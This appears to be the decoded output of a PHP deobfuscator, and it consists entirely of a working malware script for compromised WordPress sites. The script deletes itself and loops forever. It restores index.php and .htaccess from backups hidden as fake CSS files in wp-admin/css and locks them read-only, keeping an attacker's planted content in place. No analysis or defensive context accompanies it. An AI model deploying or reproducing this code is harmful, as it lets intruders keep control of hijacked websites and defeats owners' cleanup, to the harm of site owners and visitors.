PHP Decode

<?php 
@unlink($_SERVER['SCRIPT_FILENAME']); 
error_reporting(0); 
ignore_user_abort(true); 
set_time_limit(0);   
$index = $_SERVER['DOCUMENT_ROOT'].'/index.php'; 
$ht = $_SERVER['DOCUMENT_ROOT'].'/.htaccess'; 
$bkindex = $_SERVER['DOCUMENT_ROOT'].'/wp-admin/css/index.css'; 
$bkht = $_SERVER['DOCUMENT_ROOT'].'/wp-admin/css/htaccess.css';  
while (1==1) { 
         if(!file_exists($index) or (filesize($index) != filesize($bkindex))){ 
		 
		@chmod($index,0644); 
		@file_put_contents($index,file_get_contents($bkindex)); 
		@chmod($index,0444); 
	   } 
         elseif(!file_exists($ht) or (filesize($ht) != filesize($bkht))){ 
		 
		@chmod($ht,0644); 
		@file_put_contents($ht,file_get_contents($bkht)); 
		@chmod($ht,0444); 
	   } 
         else { 
             chmod($index, 0444); 
           } 
           usleep(500000); 
}; 
?>